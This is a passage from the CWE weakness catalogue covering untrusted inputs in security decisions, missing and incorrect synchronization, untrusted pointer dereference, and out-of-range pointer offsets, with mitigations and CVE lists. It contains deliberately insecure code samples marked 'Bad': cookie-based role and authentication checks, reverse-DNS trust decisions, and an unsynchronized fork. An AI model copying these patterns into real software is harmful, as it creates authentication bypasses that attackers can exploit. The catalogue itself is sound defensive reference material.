- [REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista >.2023-04-07.
- [REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <https://archive.is/saAFO> >.2023-04-07.
- [REF-60]"PaX". < https://en.wikipedia.org/wiki/Executable_space_protection#PaX >.2023-04-07.
- [REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/> >.2023-04-07.
- [REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://www.redhat.com/en/blog/position-independent-executables-pie> >.2023-04-07.
- [REF-1332]John Richard Moser. "Prelink and address space randomization". 2006 July 5. < <https://lwn.net/Articles/190139/> >.2023-04-26.
- [REF-1333]Dmitry Evtushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. < <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf> >.2023-04-26.
- [REF-1334]D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. < <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/> >.2023-04-26.
- [REF-1335]D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. < <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/> >.2023-04-26.
- [REF-1336]D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. < <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/> >.2023-04-26.
- [REF-1337]Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". 2008. < https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf >.2023-04-26.

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID : 807

Structure : Simple

Abstraction : Base

Description

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description





Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		693	Protection Mechanism Failure	1529
ParentOf		302	Authentication Bypass by Assumed-Immutable Data	742
ParentOf		350	Reliance on Reverse DNS Resolution for a Security-Critical Action	870
ParentOf		784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1662

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1012	Cross Cutting	2448

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2443

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Access Control	Gain Privileges or Assume Identity	
Availability	Varies by Context	
Other	Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

The effectiveness and speed of manual analysis will be reduced if there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45]. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation**Phase: Implementation***Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Architecture and Design**Phase: Implementation***Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

Demonstrative Examples**Example 1:**

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java

(Bad)

```
Cookie[] cookies = request.getCookies();
```

```
for (int i=0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP

(Bad)

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java

(Bad)

```
Cookie[] cookies = request.getCookies();
for (int i=0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Example 4:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C

(Bad)

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strcmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

```
}
```

Example Language: Java

(Bad)

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C#

(Bad)

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```







IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.





Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. https://www.cve.org/CVERecord?id=CVE-2009-1549
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. https://www.cve.org/CVERecord?id=CVE-2009-1619
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." https://www.cve.org/CVERecord?id=CVE-2009-0864
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. https://www.cve.org/CVERecord?id=CVE-2008-5784
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." https://www.cve.org/CVERecord?id=CVE-2008-6291

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		803	2010 Top 25 - Porous Defenses	800	2376
MemberOf		859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2390
MemberOf		866	2011 Top 25 - Porous Defenses	900	2393
MemberOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	2399
MemberOf		884	CWE Cross-section	884	2588

Nature	Type	ID	Name	V	Page
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf		1365	ICS Communications: Unreliability	1358	2523
MemberOf		1373	ICS Engineering (Construction/Deployment): Trust Model Problems	1358	2531
MemberOf		1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2563

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC09-J		Do not base security checks on untrusted sources

References

[REF-754]Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". 2010 March 5. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/> >.2023-04-07.

[REF-529]"HMAC". 2011 August 8. Wikipedia. < <https://en.wikipedia.org/wiki/HMAC> >.2023-04-07.

[REF-756]Scott Mitchell. "Understanding ASP.NET View State". 2004 May 5. Microsoft. < [https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms972976\(v=msdn.10\)?redirectedfrom=MSDN](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms972976(v=msdn.10)?redirectedfrom=MSDN) >.2023-04-07.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

CWE-820: Missing Synchronization

Weakness ID : 820

Structure : Simple

Abstraction : Base

Description

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.



Extended Description



If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships


The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457
ParentOf		543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1263

Nature	Type	ID	Name	Page
ParentOf		567	Unsynchronized Access to Shared Data in a Multithreaded Context	1296
ParentOf		1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1945

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2350

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C

(Bad)

```
static void print (char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
        putc(counter, stdout);
        fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
}

int main(void) {
    pid_t pid;
    pid = fork();
    if (pid == -1) {
        exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:




```
PARENT
child
```

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

```
PcAhRiEINdT
[blank line]
[blank line]
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2387
MemberOf		1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2470
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK05-J		Synchronize access to static fields that can be modified by untrusted code

CWE-821: Incorrect Synchronization

Weakness ID : 821

Structure : Simple

Abstraction : Base

Description

The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.






Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457
ParentOf		572	Call to Thread run() instead of start()	1305
ParentOf		574	EJB Bad Practices: Use of Synchronization Primitives	1308
ParentOf		1088	Synchronous Access of Remote Resource without Timeout	1937
ParentOf		1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	2098

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2350

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-822: Untrusted Pointer Dereference

Weakness ID : 822

Structure : Simple

Abstraction : Base

Description

The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the product is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a variable to an unexpected value (since the value will be read from an unexpected memory location).





There are several variants of this weakness, including but not necessarily limited to:

- The untrusted value is directly invoked as a function call.
- In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
CanFollow		781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1654
CanPrecede		125	Out-of-bounds Read	336
CanPrecede		787	Out-of-bounds Write	1669

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2349

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory <i>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i>	
Availability	DoS: Crash, Exit, or Restart	






Scope	Impact	Likelihood
	<i>If the untrusted pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</i>	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Modify Memory	
Availability	<i>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash. https://www.cve.org/CVERecord?id=CVE-2007-5655
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668). https://www.cve.org/CVERecord?id=CVE-2010-2299
CVE-2009-1719	Untrusted dereference using undocumented constructor. https://www.cve.org/CVERecord?id=CVE-2009-1719
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash. https://www.cve.org/CVERecord?id=CVE-2009-1250
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution. https://www.cve.org/CVERecord?id=CVE-2009-0311
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer. https://www.cve.org/CVERecord?id=CVE-2010-1818
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer. https://www.cve.org/CVERecord?id=CVE-2010-3189
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer). https://www.cve.org/CVERecord?id=CVE-2010-1253

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		867	2011 Top 25 - Weaknesses On the Cusp	900	2393
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2398
MemberOf		884	CWE Cross-section	884	2588
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

CWE-823: Use of Out-of-range Pointer Offset

Weakness ID : 823

Structure : Simple

Abstraction : Base

Description

The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the product. As a result, the attack might change the state of the product as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
CanFollow		129	Improper Validation of Array Index	347
CanPrecede		125	Out-of-bounds Read	336
CanPrecede		787	Out-of-bounds Write	1669

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2349

Alternate Terms

Untrusted pointer offset : This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory <i>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i>	
Availability	DoS: Crash, Exit, or Restart <i>If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</i>	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Modify Memory	
Availability	<i>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption. https://www.cve.org/CVERecord?id=CVE-2010-2160
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations. https://www.cve.org/CVERecord?id=CVE-2010-1281

Reference	Description
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset. https://www.cve.org/CVERecord?id=CVE-2009-3129
CVE-2009-2694	Instant messaging library does not validate an offset value specified in a packet. https://www.cve.org/CVERecord?id=CVE-2009-2694
CVE-2009-2687	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash. https://www.cve.org/CVERecord?id=CVE-2009-2687
CVE-2009-0690	negative offset leads to out-of-bounds read https://www.cve.org/CVERecord?id=CVE-2009-0690
CVE-2008-4114	untrusted offset in kernel https://www.cve.org/CVERecord?id=CVE-2008-4114
CVE-2010-2873	"blind trust" of an offset value while writing heap memory allows corruption of function pointer, leading to code execution https://www.cve.org/CVERecord?id=CVE-2010-2873
CVE-2010-2866	negative value (signed) causes pointer miscalculation https://www.cve.org/CVERecord?id=CVE-2010-2866
CVE-2010-2872	signed values cause incorrect pointer calculation https://www.cve.org/CVERecord?id=CVE-2010-2872
CVE-2007-5657	values used as pointer offsets https://www.cve.org/CVERecord?id=CVE-2007-5657
CVE-2010-2867	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic https://www.cve.org/CVERecord?id=CVE-2010-2867
CVE-2009-1097	portions of a GIF image used as offsets, causing corruption of an object pointer. https://www.cve.org/CVERecord?id=CVE-2009-1097
CVE-2008-1807	invalid numeric field leads to a free of arbitrary memory locations, then code execution. https://www.cve.org/CVERecord?id=CVE-2008-1807
CVE-2007-2500	large number of elements leads to a free of an arbitrary address https://www.cve.org/CVERecord?id=CVE-2007-2500
CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer https://www.cve.org/CVERecord?id=CVE-2008-1686
CVE-2010-2878	"buffer seek" value - basically an offset? https://www.cve.org/CVERecord?id=CVE-2010-2878

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Related Attack Patterns

CAPEC-ID Attack Pattern Name

129	Pointer Manipulation
-----	----------------------

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-824: Access of Uninitialized Pointer

Weakness ID : 824

Structure : Simple

Abstraction : Base

Description

The product accesses or uses a pointer that has not been initialized.

Extended Description




If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
CanPrecede		125	Out-of-bounds Read	336
CanPrecede		787	Out-of-bounds Write	1669


Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2349

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory <i>If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i>	
